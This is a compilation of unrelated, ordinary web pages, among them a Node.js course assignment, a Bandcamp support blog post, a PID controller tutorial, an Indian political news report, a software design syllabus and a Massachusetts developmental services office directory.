If you haven't already done, so, you'll want to install the Node.js web server application. Navigate to nodejs.org and click on the install button. This will download an installer for your platform or the binaries if you're using Linux.
- Linux - move the binary files into the correct locations (the folder names give you this info)
- Macintosh & Windows - run the installer
Warm Up
-
[Node.js]
-
Verify that your install worked by making your own "Hello world" server!
Open the command line and use thecd
command to navigate to your server's JS file and executenode yourfile.js
. Your server should start serving your website at localhost:yourPortNumber
Practice problems
-
[Forms, WebSockets]
-
Use socket.io to create a real-time, push chat server. You can use this starter Node.js file and this starter HTML file.
Simple, for this question, means that the user should have some way of setting their username and sending a chat message to the chat room. Connected users should receive messages from other users basically as soon as they're posted.
This question should be easy to self-check, but since there is no checker, solutions will be posted.
Challenge problems
-
[REST API (Express, routes), AJAX]
-
Download this file to your current Node.js workspace (wherever you've installed Express) and import it into your project using
var people = require("./people.js")
. This will provide a JS Array of Person Objects (I know how much you like these) as thepeople
variable.
Do the same thing that you did for Assignment 3 - Practice Problem 2 except you should retreive the Person's information from a webserver that you create. You should use AJAX to GET this data from the server.
Don't forget to import the checker (and set the title of the page to Assignment 5 - Challenge Problem #1)


Buy Literally Anything From Bandcamp Today
The coronavirus has been causing havoc for industries across the globe, including the music industry. Especially for small, indie artists, the revenue they make from doing live shows is vital for their ability to continue doing what they love. In the case of a global pandemic, though, all of those shows have been canceled, leaving artists struggling to make it by.
Having been social distancing/self quarantining for about two weeks now, I’ve been doing my best to live by the very wise, meaningful words of Craft Brew Geek when he told a group of us:
This is the time when we need to take care of the people who take care of us.
He said this within the context of doing what we can for local restaurants and breweries that are trying to weather this storm. There are plenty of places where we’re regulars and have been the recipients of preferrential treatment from those establishments for months or even years: getting your drink filled before other people, getting deals on your order, etc. As these businesses try to tackle the biggest threat to their very existence that they’ve ever seen, we’ve been doing our part to get carry-out food and drinks whenever possible and while leaving the most generous tips we can because every little bit helps. I’d highly encourage anyone reading this to do the same if it’s within your means.
But restaurants and breweries aren’t the only ones who take care of you. My memory tends to be pretty good, so I trust it when I recall Hayley Williams posting a message on Twitter years ago that amounted to:
Be there for music because music will always be there for you.
I tried searching for the post, but it was so long ago that I’ll never find it. The sentiment is certainly true though. Everyone has had that song that has made an event, be it a party, a roadtrip, or just a special moment with friends, unforgettable. Everyone has felt sorrow and heartache and didn’t know how they would’ve been able to get through if it wasn’t for that one song that knew exactly how you felt.
 It pains me to see so many small artists having to cancel their shows, knowing they’re upset at having to let down their fans and worried about how they’re going to continue making ends meet and create the art we all love so much.
That’s why today is such a great day to support indie music. Today Bandcamp is waiving their revenue share on all purchases through the site. This means that 100% of the revenue is going to support artists who need it now more than ever. Dozens of artists I listen to regularly, and some of whom were mentioned in our music stats episode have Bandcamp profiles. Even if you don’t need a digital album because you always use Spotify or Apple Music, consider buying an album anyway just to help out and show some love for the people who have made such a difference in your life.
Pre-orders count as well, so you can show some support for artists with upcoming albums. Also note that most albums have a minimum price but offer you the ability to throw a little extra on top if you want. Please help out if you have the means.
If you don’t have the means, you can still help out! The payouts are garbage, but stream as much music from indie artists as you possibly can. Check out the Twitter profiles for artists you love; many have started doing online shows. For example, on her YouTube channel, Tessa Violet has been streaming what she’s coined “The Something To Look Forward To Tour”. There are still 3 shows left. Tune in for those and look for other artists who are doing the same!
Do whatever you can to support artists and musicians now because every little bit helps. It’s time that we take care of the people who take care of us.


Page elements can be faded in or out using a set of dedicated jQuery functions.
fadeIn()
fades the element in from being invisiblefadeOut()
fades the element out and removes it from layoutfadeTo()
fades the element to a specified opacity
Page elements can be faded in or out using a set of dedicated jQuery functions.
fadeIn()
fades the element in from being invisiblefadeOut()
fades the element out and removes it from layoutfadeTo()
fades the element to a specified opacity


--- layout: post title: Wars, Technology and Culture date: 2012-07-25 15:50:25.000000000 +03:00 categories: [] tags: [] status: draft type: post published: false post_id: wars-technology-and-culture meta: _edit_last: '1' author: login: admin email<EMAIL_ADDRESS>display_name: Radu first_name: '' last_name: '' ---
Wars. Wars have always been around since humans learned to walk on two feet and handle a bat. Wars will still be around for a long time. Wars happen for various reasons, but I'll not enumerate any of them as I don't want to go into politics (because politics is a dirty business).
Technology. Technology for a modern human being might mean iPhones, laptops, space shuttles, but just as the very first bat that the humans learned to handle it's a product of our inventiveness. The rate of our technological advancement grew exponentially after the industrial revolution. It is still growing.
Culture. Meaning humanity in this context. Evolved at a very slow pace through the history. Had lots of downfalls, most recent big event happening in the late 30's and early 40's.
In the last century we excelled at 2 out of 3. Want to take a lucky guess at which? We managed to have 2 world wars (nothing like anything before in our history). We learned to fly, build nukes and send people into space. All in one century.
We didn't manage to advance in culture. We are at the same level we were about 100 years ago. 100 years means roughly 4 generations of people that should've aspired to higher goals for humanity. Instead what we have today is television that promotes violence, hatred and rebellion against culture. That's not a bright future for culture. Another downfall, may be even worse than the previous one.
But what does culture has in common with wars and technology you ask? The technology we have today is too advanced for our level of culture. We have the means to bring our planet into a nuclear winter, and a very low culture to avoid this (an american president and a russian state secretary almost pushed the red buttons back in 62).
The technology that is available to any person is high enough for building guided missiles to bring down plains, building drones to deliver explosive charges,


Maharashtra turmoil: NCP shifts MLAs to two hotels amid fear of poaching
According to sources, the NCP MLAs, who were staying at Hotel Renaissance in Powai area, have been moved to Hotel Grand Hyatt in Santacruz and Sofitel in Bandra-Kurla Complex.
MUMBAI: Amid the high political drama in Maharashtra and fear of 'poaching' of MLAs, the NCP has shifted its legislators from a five-star resort to two other hotels in the city.
According to sources, the NCP MLAs, who were staying at Hotel Renaissance in Powai area, have been moved to Hotel Grand Hyatt in Santacruz and Sofitel in Bandra-Kurla Complex (BKC).
Incidentally, BJP leader Ravindra Chavan was on Sunday seen entering Hotel Renaissance.
The Congress legislators are still in J W Marriott hotel in suburban Andheri, the sources said.
The Shiv Sena MLAs are currently staying at The Lalit hotel, located near the international airport in Andheri, but they may be shifted to another resort, the sources added.
Senior Congress leader Ashok Chavan on Sunday alleged that BJP leaders had booked rooms in a hotel where his party MLAs were put up and were contacting some of them.
ALSO READ | Maharashtra turmoil: Two out of four 'missing' NCP MLAs return to Mumbai
The BJP made a return to power in a dramatic way early Saturday morning after NCP leader Ajit Pawar joined hands with the saffron party, leading to Governor Bhagat Singh Koshyari swearing in Devendra Fadnavis as chief minister and Pawar as his deputy.
Given the political scenario in the state, the role of MLAs has become far more crucial during the floor test in the 288-member House where the halfway mark is 145.
In the last month's Assembly polls, the BJP won 105 seats, the Shiv Sena 56, the NCP 54 and the Congress 44.
According to sources, Independent legislators and other MLAs could tilt the scales in favour of either the BJP- led government of Fadnavis backed by Ajit Pawar or the Sena- Congress-NCP combine during the floor test.


Let's learn how to code a PID and get some intuition on how it works.
Imagine the following situation: you, a recently graduated engineer or computer programmer was hired to automate a linear cutting machine.
This machine has an electric motor, conected through a set of gears to a tool (let's say, a saw) that moves in a vertical line.
When the motor spins clockwise, the tool moves in one direction (let's say, from bottom to top or "positive" direction) and when the motor spins counter-clockwise, the tool moves in the inverse direction (from top to bottom, or "negative" direction).
Each revolution of the motor produces a proportional movement of the tool. Let's say that, due to the specific transmission system, one revolution of the engine equals a 1 mm (one millimeter) displacement of the the tool. And the whole machine has a maximum speed of 3mm/second (which means the motor can spin at a maximum rate of 3 revolutions per second).
In order to automate this system, you have only three physical elements you can interact with: the current position motor (which, just as a reminder, is proportional to the position of the tool), the desired position of the tool (let's say it's a given stock that needs cutting) and the speed of that the motor spins, which you can use to position the tool.
How would you place the tool at the desired position if you were controlling the machine manually?
Let's say the tool must be at the position x = 500mm. Meaning, we want to spin the motor such that the tool is positioned 500 mm above its central point of reference.
Manually, we'd do the following: spin the motor until it is near the desired position. As it aproaches this position, we decelerate it until it is as close as possible to it. At that moment, we turn off the motor.
To help you out, I've put the desired position as 500.
Try to reach it, manually controlling the speed of the motor!
Ok. Manually, we can position the motor/tool near the desired position.
I hope you can notice a couple of things: if you want to move to tool downards, you must input a negative velocity. If the tool overshoots the desired point, you have to set the speed to the inverse value (inverting the sign of the speed). To keep the tool at a fixed position, your speed must be equal to zero.
How could we do the same procedure in an automated way? How could we create a computer program that is able to position the tool, taking into account that we have only two input variables (the current position and the desired position) and only one output mechanism (the speed of the motor)?
With your programming knowledge, which would be the most simple software you could create to solve this problem? Think about it a bit.
The most trivial algorithm I can imagine would be something like this: if the desired position for the tool is above the current position (in other words, in the positive side of the movement axis') we spin the motor in the positive direction. Otherwise, we (meaning, if the desired position is below the current position - negative side of the axis) we spin the motor in the negative direction.
Written in code, it would be something like you see above.
Try to alter the desired position to various values to see what happens (try for example, 100, 200, -100, 0).
Remember: spinning the motor with a positive speed means it moves up. Spinning the motor with negative speed means it moves down.
Check that, enabling this code, when you get close to the desired position, the speed of the motor starts to oscilate significantly. Why?
It's because we forgot the zero situation! When the desired position is exactly equal to the current position, we can stop the motor completely.
Perfect! Now our automated system is capable of moving a linear axis and position it anywhere. Or almost. Try to position it at a non-integer (decimal) position. Try 100.30 for example. What happens?
More oscilation at the motor speed. This kind of issue can be called a numerical instability: our algorithm doesn't behave well with fractional numbers.
How can we make the algorith more stable? Can you think of an alternative?
Let's identify when the problem happens. It happens when the distance between the desired position and the current position is smaller than the speed (fixed at 1 mm/second).
When the distance is smaller than this value, the motor jumps to a position beyond the desired (an overshoot). At the next cycle, our algorithm tries to correct this jump by coming back, however it goes again beyond the desired position.
A practical example: if we wish to reach the position x = 100.30 and the current position is 100.00, the motor's speed of +1 will provoke an overshoot to position 101.00. At the next cycle, the speed will be recalculated to -1 and the motor will move to position x = 100.00 again. This back and forth is what causes the oscilation.
We should modify this algorithm to consider the case when the difference between the current position and the desired position is less than 1 (the movement speed). How can we do that?
One possibility is indicated above. We must consider the case when the motor is below the desired point and above it.
This algorithm is more robust than the previous ones. But it has two problems: a functional one and an aestetic one.
Though it solves our current problem, it doesn't take into account the fact that the motor's speed could be higher.
Another problem is that this algorithm is complex: look at the amount of IFclauses, one inside the other. It isn't a pleasant code to look, understand and debug.
How can we simplify this code?
The first thing we can notice is that this code is entirely based in comparisons between the current and the desired positions. We can simplify the relationship between these two variables by introducing a third: the concept of a "following error".
The following error is the difference between the current and the desired positions. Quite literally: it's the first variable minus the second one.
The following error (or more simply, "error") is a measure of the distance between the current and desired positions. It shows how far away one is from the other.
The larger the error, the farther the tool is from where we want it to be. The smaller, the closer. When the error is exactly zero, the tool is exactly where we want it to be.
With this notion of "error" we can simplify our algorithm the following way: instead of comparing the positions between themselves, we compare only if the error is grater than zero (we need to move up) or if the error is smaller than zero (we need to move down).
If the error is between zero and the correction speed, we move the motor just enough for it to reach the desired position.
Try to apply various movement situations and verify that it really works!
This algorithm is already simpler to understand. But we haven't solved the maximum speed problem. Can we do better than this?
Notice how on this last algorithm the speed of the motor always follows the error: if the error is positive, the speed is positive. If the error is negative, the speed is negative. We could also call this speed the error correction speed.
We say that the error correction speed is always proportional to the error. If the error is big, the speed must also be high. If the error is small, the speed must be low.
The keyword here is proportional
. With this concept of error, we can say (code) that the speed is always equal to the error (keeping in mind that the motor will only speed up to it's maximum speed anyway).Let's see how to implement that.
What do you think? Can you understand how the speed is proportional to the error?
The only thing that is really missing and that we could have in our program is a way to show whether we want a more sudden (an fast) error correcting speed or a more sensitive (and slow) one. We can, as an example, instead of use the full error as the correction speed, ask for only half of it. Or double.
Since the speed is proportional to the error, we can insert a "compensating factor". Another possible name would be "porportional constant". Let's give this constant a nickname, and call it "kp". The algorithm to calculate the movement, than, would be like this.
There you go! We have just coded a PID (actually, just a "P") loop. The correction speed is calculated, inside the movement function, as a speed proportional to the error.
The other elements of a PID controller can also be easily inserted.
Adding up the errors as they happen in an accumulator, we have (in a sense) the "accumulated history" (or integral) of the error.
Calculating the difference between the error of the last period and current error we have a measure of the error's speed (or derivative).
We can use the same trick and apply proportionality constants in these two other factors (let's nickname them "ki" and "kd" for the integral and derivative errors).
Now we have a complete PID controller!
I hope you have appreciated this little tutorial on how to code a PID for automated machines.
If you want more info, you can contact me by personal site matheusd.com.


{{ template "header.html" . }}
The house contains {{ .house.beds }} beds and its located in {{ .town.Name }}.
The house has a size of {{ .house.size }} sqm with a rent of {{ .house.rent }} gold coins. The rent will be debited {{ .period }} from your bank account.
{{ if not .ownername }} {{ if not .house.bidname }}This house is up for sale. Be the first one to bid for this house using the form below.
{{ else }}This house is up for sale. Currently {{ .house.bidname }} is the highest bidder with {{ .house.last_bid }} gold coins.
You can place your bid using the form below
{{ end }} {{ if .logged }}Please login to place a bid for this house
{{ end }} {{ else }} {{ end }} {{ template "footer.html" . }}


Guidance
Types of apprenticeships that you can apply for in the advanced engineering construction sector.
Around 80,000 people in the UK and 100,000 worldwide are employed by the UK engineering construction industry.
This apprenticeship offers pathway routes in a range of craft, technician and project control roles, both onshore and offshore. Many of today’s supervisors, managers, designers and professionals originally joined the industry through the apprenticeship route.
There are long-term and career opportunities in areas such as:
The engineering construction advanced level apprenticeship is recognised by the industry as one of the best routes to get the skills required to work on engineering construction sites, including offshore installations.
This is an advanced level apprenticeship. You could train in roles like:
You can become an apprentice in England if you’re:
Published: 12 April 2012


ABOUT
‘MIRAGE’ - An illusion that bounds every viewer with the ethereal beauty. MIRAGE gives you an opportunity to bring out the creative designer in you to change the fashion statement of India. Wear your designer hats, pick your magic brushes, design and present your collection of dresses at Kashiyatra, centred on incredible themes and got an opportunity to win hefty prizes.
Rule Book
ABOUT
While going outdoors, everyone likes to pull out the best of them with a secret dream of being Mr India or Mr Universe someday. So it's time to sizzle things up. It's time for Mr KY a step leading you closer to your dream. A unique opportunity to be the defining personality. If you think you can stand out from the crowd and clinch this coveted title, then participate now and leave an everlasting impression on the mind of every attendant of KY!
Rule Book
ABOUT
“The stage sets on fire, when the unseen, unforgettable, ultimate accessory and perception of fashion heralds the arrival of blistering and dynamic girls of this country which finally lead to their charismatic departure.” Kashiyatra brings to you all. An opportunity to turn your dreams into reality. Let the truth be told - each one of us, at some point in our lives, has spent hours in front of mirrors, wishing to be Miss India or Miss Universe. We bring you a competition that could be a step in fulfilling your dreams, Miss KY.
Rule Book


--- layout: post title: "Coming soon" subtitle: "Laniakea web site will be soon available" date: 2019-06-11 08:39:13 -0400 background: '/img/posts/under-construction.jpg' ---
Laniakea new web site is under development and will be soon available together with its new user interface and reworked encryption system. The latest development iteration of Laniakea introduces a novel and strongly configurable web interface that facilitates a more straightforward customisation of the user experience through human readable YAML syntax and a reworked encryption procedure that exploits Hashicorp Vault as encryption keys management system.


PA1443 Introduction to Software Design and Architecture
1 Sprints, Lectures, and Seminars
In this module the course is introduced.
Things to Read
- Read: Sprint 0 Course Introduction
- Read: Assignment Introduction
Scheduled Events
- Visit: Lecture Introduction ( J1620)
This module introduces the UML way of specifying requirements, which can then be used to provide a traceable chain all the way through your software design and down to your code.
Things to Read
- Read: Sprint Use Cases and Use Case Diagrams
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture User Stories and UML Use Cases ( J1610)
- Prepare before and Visit: Seminar Requirements, Use Cases, Project Planning (Online on Gitter )
Assignment Work
- Submit: Release Sprint 3 Week Roll Call; List of Use Cases (Deadline )
- Work on Assignment: Sprint Use Case Overview Assignment
- Work on Assignment: Sprint Implementation Plan Assignment
- Work on Assignment: Sprint Detailed Use Cases for First Iteration Assignment
This assignment “sets the stage” for your subsequent assignments by making sure you have understood the system requirements properly. In a seminar you then discuss your submitted User Stories and Use Cases.
Assignment Work
- Submit Assignment: Release Sprint: Use Cases (Feedback Deadline )
- This assignment consists of three parts:
Scheduled Events
- Visit: Discuss Assignment 1 (Online on Gitter )
There are two sides to modelling. You model the structure of a system to understand which entities you are going to work with, and you model the behaviour of these entities. In this module we focus on the structure.
Things to Read
- Read: Sprint Concepts and Events
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture Modelling Structure ( J1610)
Assignment Work
- Work on Assignment: Sprint Domain Model Assignment
- Work on Assignment: Sprint System Sequence Diagrams Assignment
Testing is introduced at an early stage in the course since it is vital to understand how you intend to test your system in order to design and build the system so that you can test it as you intend.
Things to Read
- Read: Sprint Testing
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture Testing ( C413A)
Assignment Work
- Work on Assignment Sprint Testing Assignment
Different ways of modelling behaviour is introduced. A particular emphasis is placed on patterns to help you identify what makes a good design.
Things to Read
- Read: Sprint State Diagrams
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
- Read: Sprint Good Interactions
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
- Read: Sprint Interactions and Structure
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture Modelling Behaviour ( C413A)
Assignment Work
- Work on Assignment: Sprint Package Diagram Assignment
- Work on Assignment: Sprint Interaction Diagrams Assignment
- Work on Assignment: Sprint Class and Package Diagram Assignment
Design patterns are essentially re-usable solutions to common problems, where you can be reasonably sure that the end result will actually be a good, understandable, and extensible design.
Things to Read
- Read: Sprint Design Patterns
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture Design Patterns ( J1610)
- Prepare before and Visit: Seminar Structure and Design Patterns ( J1610)
Assignment Work
- Work on Assignment: Sprint Design Patterns Assignment
In this assignment you demonstrate your ability to design a software system in terms of interaction diagrams and class and package diagrams.
Assignment Work
- Submit Assignment: Release Sprint: Object Oriented Design (Feedback Deadline )
- This assignment consists of two parts:
When constructing a larger system, it is not sufficient to just focus on the software design of classes and groups of classes. Instead you need to raise your view and look at the system as a whole, i.e. its software architecture.
Things to Read
- Read: Sprint Introduction to Software Architectures
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
- Read: Sprint Software Architecture Patterns
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture Introduction to Software Architectures ( J1610)
- Visit: Lecture Quality Attributes ( J1610)
Assignment Work
- Work on Assignment: Sprint Create Initial Architecture Assignment
- Work on Assignment: Sprint Evaluate Software Architecture Assignment
- Work on Assignment: Sprint Create Quality Attribute Scenarios Assignment
- Work on Assignment: Sprint Revise Architecture with Architecture Tactics Assignment
Connect your well-designed system with a user interface and other external systems to make a functional application. Also, an understanding of the quirks in your selected programming language will help you understand how to actually implement your design.
Things to Read
- Read: Sprint Implementation and Designing the User Interface
- Remember to look at the “Learning Material” for book chapters, screencasts, and further reading.
Scheduled Events
- Visit: Lecture From Design to Code ( J1610)
In this assignment you finalise your architecture along with your test plan and submit it.
Assignment Work
- Work on Assignment: Sprint Create System Test Plan Assignment
- Submit Assignment: Release Sprint: Architecture and Testing (Feedback Deadline )
- This assignment consists of two parts:
Scheduled Events
- Prepare before and Visit: Demo and Discuss Assignment 3 (Individually Booked Week 17, Week 18)
Prepare for the exam and tidy up after the course so you know how to continue.
Scheduled Events
- Visit: Seminar Questions and Answers ( J1610, J1504, J1504)


To access DDS services, you must apply for eligibility. Once eligibility has been determined, you may get DDS services.
Applying for eligibility is a choice and we believe that it is important for applicants to fully understand the criteria for eligibility as well as the type of documentation that is required to enable DDS to make such an important decision. Therefore, included in the new application are the criteria for eligibility and explicit instructions about the necessary documentation.
Another important component is legal authorization to proceed with the process. Applicants must give their written permission so that DDS can proceed with the eligibility process. This does not mean that an applicant cannot get help from a family member, friend, or agency. However if the applicant chooses to have someone assist them, they will also need to authorize that by signing a permission form.
This permission is required if the applicant wants DDS to be able to communicate directly with this person on their behalf. These authorizations are now a vital part of the new application form.
After a complete application has been received by the Regional Eligibility Team, applicants can expect to be contacted by a Regional Eligibility Team member to schedule a face-to-face meeting.
Regional Eligibility Coordinator | Hogan Regional Center | PO Box A | Hathorne, MA 01937
Intake Referral Number:<PHONE_NUMBER> ext. 850 | Fax Number:<PHONE_NUMBER>
Regional Eligibility Coordinator | 151 Campanelli Drive, Suite B | Middleboro, MA 02346
Intake Referral Number:<PHONE_NUMBER> ext. 850 | Fax Number:<PHONE_NUMBER>
Regional Eligibility Coordinator | 411 Waverley Oaks Road, Suite 304 | Waltham, MA 02452Intake Referral
Intake Referral Number:<PHONE_NUMBER> ext. 850 | Fax Number:<PHONE_NUMBER>
Regional Eligibility Coordinator | Central West Region | 140 High St. Suite 301 | Springfield, MA 01105
Intake Referral Number: 13-205-0940 | Fax Number:<PHONE_NUMBER>
Please direct all support- and services-related questions to your local area office listed below. All supports are subject to funding and availability.
Serves the following communities: Acton | Arlington | Bedford | Boxboro | Burlington | Carlisle | Concord | Lexington | Lincoln | Littleton | Maynard | Stow | Wilmington | Winchester | Woburn
Serves the following communities: Billerica | Chelmsford | Dracut | Dunstable | Lowell | Tewksbury | Tyngsboro | Westford
Serves the following communities: Amesbury | Andover | Boxford | Georgetown | Groveland | Haverhill | Lawrence | Merrimac | Methuen | Newbury | Newburyport | North Andover | Rowley | Salisbury | West Newbury
Serves the following communities: Everett | Lynnfield | Malden | Medford | Melrose | North Reading | Reading | Saugus | Stoneham | Wakefield
Serves the following communities: Beverly | Danvers | Essex | Gloucester | Hamilton | Ipswich | Lynn | Manchester | Marblehead | Middleton | Nahant | Peabody | Rockport | Salem | Swampscott | Topsfield | Wenham
Please direct all support- and services-related questions to your local area office listed below. All supports are subject to funding and availability.
Serves the following communities: Abington | Avon | Bridgewater | Brockton | East Bridgewater | Easton | Holbrook | Rockland | Stoughton | West Bridgewater | Whitman
Serves the following communities: Aquinnah | Barnstable | Bourne | Brewster | Chatham | Chilmark | Dennis | Eastham | Edgartown | Falmouth | Harwich | Hyannis | Mashpee | Nantucket | Oak Bluffs | Orleans | Provincetown | Sandwich | Tisbury | Truro | Wellfleet | West Tisbury | Yarmouth
Serves the following communities: Assonet | Fall River | Freetown | Somerset | Swansea | Westport
Serves the following communities: Acushnet | Dartmouth | Fairhaven | Gosnold | Marion | Mattapoisett | New Bedford | Rochester | Wareham
Serves the following communities: Carver | Duxbury | Halifax | Hanover | Hanson | Kingston | Marshfield | Pembroke | Plymouth | Plympton
Serves the following communities: Braintree | Cohassett | Hingham | Hull | Milton | Norwell | Quincy | Randolph | Scituate | Weymouth
Serves the following communities: Attleboro | Berkley | Dighton | Lakeville | Mansfield | Middleboro | North Attleboro | Norton | Raynham | Rehoboth | Seekonk | Taunton
Please direct all support- and services-related questions to your local area office listed below. All supports are subject to funding and availability.
Serves the following communities: Belmont | Cambridge | Somerville | Waltham | Watertown
Serves the following communities: Boston | Brookline | Chelsea | Revere | Winthrop
Serves the following communities: Ashland | Dover | Framingham | Holliston | Hopkinton | Hudson | Marlboro | Natick | Northboro | Sherborn | Southboro | Sudbury | Wayland | Westboro
Serves the following communities: Canton | Dedham | Foxboro | Medfield | Millis | Needham | Newton | Norfolk | Norwood | Plainville | Sharon | Walpole | Wellesley | Weston | Westwood | Wrentham
Please direct all support- and services-related questions to your local area office listed below. All supports are subject to funding and availability.
Serves the following communities: Adams | Alford | Becket | Cheshire | Clarksburg | Dalton | Egremont | Florida | Great Barrington | Hancock | Hinsdale | Lanesboro | Lee | Lenox | Monterey | Monroe | Mt. Washington | New Ashford | New Marlboro | North Adams | Otis | Peru | Pittsfield | Richmond | Sandisfield | Savoy | Sheffield | Stockbridge | Tyringham | Washington | West Stockbridge | Williamstown | Windsor
Serves the following communities: Amherst | Ashfield | Athol | Bernardson | Buckland | Charlemont | Chesterfield | Colrain | Conway | Cummington | Deerfield | Easthampton | Erving | Gill | Goshen | Greenfield | Hadley | Hatfield | Hawley | Heath | Leverett | Leyden | Middlefield | Millers Falls | Montague | New Salem | Northampton | Northfield | Orange | Pelham | Petersham | Phillipston | Plainfield | Rowe | Royalston | Shelburne | Shutesbury | Sunderland | Turners Falls | Warwick | Wendell | Westhampton | Whately | Williamsburg | Worthington
Serves the following communities: Belchertown | Chicopee | Granby | Holyoke | Ludlow | Monson | Palmer | South Hadley | Southampton | Ware
Serves the following communities: Ashburnham | Ashby | Ayer | Baldwinville | Barre | Berlin | Bolton | Clinton | East Princeton | East Templeton | Fitchburg | Gardner | Gilbertville | Groton | Hardwick | Harvard | Hubbardston | Lancaster | Leominster | Lunenburg | New Braintree | Oakham | Pepperell | Princeton | Rutland | Shirley | South Barre | South Lancaster | Sterling | Still River | Templeton | Townsend | West Groton | West Townsend | Westminster | Winchendon
Serves the following communities: Bellingham | Blackstone | Douglas | East Douglas | Franklin | Grafton | Hopedale | Linwood | Medway | Mendon | Milford | Millbury | Millville | Northbridge | Sutton | Upton | Uxbridge | Whitinsville
Serves the following communities: Brimfield | Brookfield | Charlton | Dudley | East Brookfield | Holland | North Brookfield | Oxford | Southbridge | Spencer | Sturbridge | Wales | Warren | Webster | West Brookfield
Serves the following communities: Agawam | Blandford | Chester | East Longmeadow | Granville | Hampden | Huntington | Longmeadow | Montgomery | Russell | Southwick | Springfield | Tolland | West Springfield | Westfield | Wilbraham
Serves the following communities: Auburn | Boylston | Cherry Valley | Holden | Jefferson | Leicester | Paxton | Rochdale | Shrewsbury | West Boylston | Worcester
300 West Cummings Park, Suite 354, Woburn, MA 01801 |<PHONE_NUMBER>
www.riversidefamilysupport.org4 Omni Way, Chelmsford, MA 01824 |<PHONE_NUMBER>
www.lifelinksinc.net465 School Street, Lowell, MA 01851 |<PHONE_NUMBER> ext.1026
www.cmaalowell.orgSpecific Ethnic/Linguistic Group: Cambodian families
439 Union Street, Suite 401, Lawrence, MA 01843 |<PHONE_NUMBER> (x157)
www.fidelityhhs.org60D Audubon Road, Wakefield, MA 01880 |<PHONE_NUMBER>
https://communitasma.org/resources/6 Southside Road, Danvers, MA 01923 |<PHONE_NUMBER>
www.ne-arc.org66 Silsbee Street, Lynn, MA 01901 |<PHONE_NUMBER>
www.bridgewell.org1250 West Chestnut Street, Brockton, MA 02301 |<PHONE_NUMBER> x224
www.brocktonareaarc.org30 Ansel Hallet Road, West Yarmouth, MA 02673 |<PHONE_NUMBER>
www.kdc.org111 Edgartown Road, Vineyard Haven, MA 02568 |<PHONE_NUMBER>
www.mvcommunityservices.com1 Father DeValles Boulevard, Suite 401 Fall River, MA 02723 |<PHONE_NUMBER>
www.peopleinc-fr.org109 Fairhaven Road, Mattapoisett, MA 02739 |<PHONE_NUMBER>
www.nemasketgroup.org52 Armstrong Road, Plymouth, MA 02360 |<PHONE_NUMBER>, ext. 117
www.thearcofgp.org1189 R North Main Street, Randolph, MA 02368 |<PHONE_NUMBER>
www.southcoastalfamilysupport.org/435 Columbian Street, Weymouth, MA 02190 |<PHONE_NUMBER>
www.soshoresupport.org141 Park Street, Attleboro, MA 02703 |<PHONE_NUMBER>
www.arcnbc.org155 Webster Street – Unit D, Hanover, MA 02339 |<PHONE_NUMBER> ext. 11
www.bamsi.org60 Gore Street, Cambridge, MA 02141 |<PHONE_NUMBER> x 4259
www.helpfamiles.org66 Canal Street, Boston, MA 02114 |<PHONE_NUMBER>
www.baycove.org260 Milton St, Suite 101, Dedham Ma 02026 |<PHONE_NUMBER>
www.vinfen.org25 Beach Street, Dorchester, MA 02122 |<PHONE_NUMBER>
www.workinc.org888 Washington Street Suite 102, Boston, MA 02111
1881 Worcester Road, Framingham, MA 01701 |<PHONE_NUMBER>
www.advocates.orgSpecific Ethnic/Linguistic Group: Chinese and Vietnamese Families
1603 Blue Hill Avenue, Mattapan, MA 02126 |<PHONE_NUMBER>
www.haphi.orgSpecific Ethnic/Linguistic Group: Haitian Families
55 Dimock Street, Roxbury, MA 02119 |<PHONE_NUMBER> ext.1204
www.dimock.orgSpecific Ethnic/Linguistic Group: African American/Multicultural Families
25 Beach Street, Dorchester, MA 02122 |<PHONE_NUMBER>
www.workinc.orgSpecific Ethnic/Linguistic Group: Latin American Families
4 Strathmore Road, Natick, MA 01760 |<PHONE_NUMBER>
www.charlesrivercenter.org65 Boston Post Road West Suite 220 Marlborough, MA 01752 |<PHONE_NUMBER> x 1004
www.icanthrive.org59 East Militia Heights Road, Needham, MA 02492 |<PHONE_NUMBER>
www.charlesrivercenter.org789 Clapboardtree Street, Westwood, MA 02090 |<PHONE_NUMBER>
www.arcsouthnorfolk.org46 Elm Street, Pittsfield, MA 01201 |<PHONE_NUMBER>
www.bcarc.org535 Curran Highway, North Adams, MA 01247 |<PHONE_NUMBER>
208 West Street, Pittsfield, MA 01201 |<PHONE_NUMBER>
www.ucpberkshire.org41 Russell Street, Hadley, MA 01035 |<PHONE_NUMBER>
www.family-empowerment.org294 Avenue A, Turners Falls, MA 01376 |<PHONE_NUMBER>
www.theunitedarc.org361 Main Street, Athol, MA 01331 |<PHONE_NUMBER>
www.theunitedarc.org260 Westfield Road, Holyoke, MA 01040 |<PHONE_NUMBER>
www.mcsnet.org1460 John Fitch Highway, Fitchburg, MA 01402 |<PHONE_NUMBER>
www.sevenhills.org/affiliates/seven-hills-family-services437 Main Street, Fitchburg, MA 01420 |<PHONE_NUMBER>
www.centroinc.orgSpecific Ethnic/Linguistic Group: Multicultural families
1 Maple Street, Milford, MA 01757 |<PHONE_NUMBER>
www.kdc.org208 Charlton Road, Sturbridge, MA 01566 |<PHONE_NUMBER>
www.sevenhills.org/affiliates/seven-hills-family-services1000 Wilbraham Road, Springfield, MA 01109 |<PHONE_NUMBER>
www.mcsnet.org11 Wilbraham Road 2nd Floor, Springfield, MA 01109 |<PHONE_NUMBER>
https://www.newnorthcc.org/Specific Ethnic/Linguistic Group: Multicultural families in urban Springfield
799 West Boylston Street, Worcester, MA 01606 |<PHONE_NUMBER>
www.sevenhills.org/affiliates/seven-hills-family-services11 Sycamore Street, Worcester, MA 01608 |<PHONE_NUMBER> x 243
www.centroinc.orgwww.centroinc.org


Coding Again!
